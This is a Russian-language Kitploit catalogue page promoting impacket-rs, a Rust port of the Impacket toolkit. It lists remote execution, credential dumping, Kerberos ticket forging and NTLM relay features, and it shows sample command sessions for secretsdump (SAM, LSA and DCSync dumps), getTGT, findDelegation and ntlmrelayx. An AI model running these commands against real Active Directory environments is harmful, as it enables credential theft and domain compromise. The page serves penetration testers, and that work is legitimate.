Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
impacket-rs — Высокопроизводительная, безопасная для памяти переработка на чистом Rust основных сетевых протоколов Impacket и инструментов Active Directory (от Win2000 до Win2025) | Kitploit
Инструменты/GitHubGitHub/nestho/impacket-rs
Сниффинг и анализ пакетовФреймворки для пентестаФреймворки для эксплойтовАтаки на ПаролиЛатеральное перемещениеСбор информацииПост-эксплуатацияСетевая безопасность
GitHubnestho/impacket-rs

impacket-rs

Высокопроизводительная, безопасная для памяти переработка на чистом Rust основных сетевых протоколов Impacket и инструментов Active Directory (от Win2000 до Win2025)

3 дней назадЕщё не проверено
Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Impacket-RS

Логотип Impacket-RS

Высокопроизводительная, безопасная по памяти переработка на Rust ключевых сетевых протоколов и инструментов Active Directory из Impacket
Без зависимостей от Python или C-рантаймов • Криптографические примитивы на чистом Rust • 100% совместимость с Impacket • Linux, macOS и Windows

Статус CI Лицензия Rust 2021 Edition Платформа Архитектура Совместимость


Обзор

Impacket-RS — это современная, безопасная по памяти, полностью переписанная с нуля реализация отраслевого стандарта SecureAuth Impacket на чистом Rust. Созданный для исследователей безопасности, пентестеров, red team и системных администраторов, он привносит молниеносную скорость, холодный старт менее миллисекунды, нулевые накладные расходы интерпретатора и полную безопасность памяти на этапе компиляции в низкоуровневую работу с сетевыми протоколами Windows.

Ключевые особенности

  • 100% совместимость с оригиналом: 74 подкоманды CLI, охватывающие удалённое выполнение (psexec, wmiexec, smbexec, atexec), дамп учётных данных (secretsdump, ntdsdump, dpapi), атаки Kerberos и арморинг (GetNPUsers, GetUserSPNs, getTGT, getST, raiseChild, ticketer Golden/Silver/Diamond), администрирование Active Directory (ldapclient, GetADUsers, trueTree, dnstool, GetLAPSPassword), ретрансляцию (ntlmrelayx), разбор пакетов (sniffer) и аудит сети (rdp_check, mqtt_check, tracer).
  • Кроссплатформенная экосистема хоста и цели: работает нативно на Linux (glibc и статический musl), macOS (Apple Silicon и Intel) и Windows. Взаимодействует как с Linux/UNIX-целями (Samba, FreeIPA, OpenLDAP, MIT/Heimdal Kerberos KDC), так и с доменами Windows всех эпох (от Windows 2000 до Windows Server 2025).
  • Холодный старт менее миллисекунды: запускается за < 2 мс по сравнению со 150-250 мс для Python Impacket, что делает его идеальным для масштабных оркестраций и быстрого пивотинга.
  • 5,85 млн сетевых обменов в секунду: NDR-маршалинг без выделения памяти и проверка раскладки на этапе компиляции обеспечивают ускорение до 60x–100x по сравнению с чистыми Python-энкодерами.
  • Криптографический движок на чистом Rust: независимые реализации с постоянным временем выполнения RC4, DES, 3DES, AES-128/256 (CBC/CTS/GCM/CCM), MD4, MD5, SHA-1, SHA-256, SHA-512, HMAC, PBKDF2, CMAC и Kerberos n-fold.
  • Кроссплатформенная совместимость Active Directory разных эпох: автоматическое согласование диалекта во время выполнения от Windows 2000 до Windows Server 2025 (LegacyWin2000, UniversalAuto, ModernHardened).

Сравнение производительности (Python vs Impacket-RS)

Бенчмарк Impacket-RS vs Python Impacket

Бенчмарки выполнены на Apple Silicon (M-серия, 10 ядер) и Linux (AMD EPYC, 8 ядер) со сравнением Python 3.11 Impacket v0.12.0 и impacket-rs v0.1.0-dev (release-сборка):

Метрика бенчмаркаPython Impacket (v0.12.0)Impacket-RS (Rust)Ускорение / Эффективность
Задержка холодного запуска CLI185.4 ms1.8 ms~103x быстрее
Упаковка + распаковка NDR PDU42,000 ops/sec5,850,000 ops/sec~139x быстрее
Потребление памяти (RSS)48.2 MB4.6 MB~10x меньше
Разбор 10,000 хешей NTDS14.8 seconds0.22 seconds~67x быстрее
Шифрование билетов Kerberos1,250 tickets/sec98,400 tickets/sec~78x быстрее
Размер статического бинарникаТребуется Python + VenvЕдиный самодостаточный бинарникНоль зависимостей во время выполнения

Интерактивные предпросмотры команд

Анимированный предпросмотр терминала Impacket-RS

1. secretsdump (удалённый SAM, LSA и Active Directory DCSync)

$ impacket-rs secretsdump corp.local/administrator:[email protected]
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Target OS identified: Windows Server 2022 Datacenter (Build 20348)
[*] Negotiated SMB Dialect: SMB 3.1.1 [AES-128-GCM / SHA-512 Preauth]
[*] Service Remote Registry (winreg) started successfully via \PIPE\svcctl
[*] Dumping local SAM hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping LSA Secrets...
$MACHINE.ACC: 0x4a12f8c... [AES-256 decrypted]
NL$KM: 0x88e142c...
[*] Bound to MS-DRSR (DRSUAPI DCSync) over ncacn_ip_tcp...
[+] Domain Controller synchronization complete: 1,420 accounts extracted in 0.84s

2. getTGT с FAST-бронированием (RFC 6113)

$ impacket-rs getTGT -fast armor.ccache corp.local/svc_backup:[email protected]
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Loading Kerberos FAST Armor from 'armor.ccache'...
[*] Encapsulating AS-REQ inside PA-FX-FAST using PRF+ (AES-256) session subkey...
[*] Sending armored AS-REQ to 192.168.1.5:88...
[+] Received AS-REP (EncType: AES256-CTS-HMAC-SHA1-96)
[+] Successfully acquired TGT for [email protected]!
[*] Saved credential cache to 'svc_backup.ccache'

3. findDelegation с ASCII-графами доверия

$ impacket-rs findDelegation -graph administrator:[email protected]
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Connecting to LDAP on 192.168.1.10:389...
[*] Scanning Active Directory for Kerberos Delegation configurations...

=== Active Directory Delegation Graph ===
[DC01$] (Unconstrained Delegation)
  ├── TRUSTS ANY SERVICE ON DOMAIN
  └── Can impersonate any ticket presented to host

[WEB-SRV01$] (Constrained Delegation with Protocol Transition)
  └── [cifs/fileserver.corp.local]
  └── [http/fileserver.corp.local]

[SQL-SVC] (Resource-Based Constrained Delegation)
  └── Allowed Principals: [CORP\Tier1-Admins]

[+] Discovered 3 delegation relationships.

4. Мультицелевой ретранслятор ntlmrelayx

$ impacket-rs ntlmrelayx -tf targets.txt -proto http
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Initializing NTLM Relay Engine...
  Listen Protocol : HTTP
  Listen Port     : 80
  Target Count    : 4
  Strip MIC       : Enabled (MsvAvFlags & !0x02)
  Strip EPA       : Enabled (MsvAvChannelBindings)

[+] Target Routing Table:
  [01] SMB    -> 192.168.1.10:445
  [02] LDAP   -> dc01.corp.local:389
  [03] MSSQL  -> sql01.corp.local:1433
  [04] HTTP   -> web01.corp.local:8080

[+] Relay session ready: Http -> Smb
[+] Ready to receive incoming connections. Relay engine operational.

Установка и кроссплатформенная поддержка

Скачать инструмент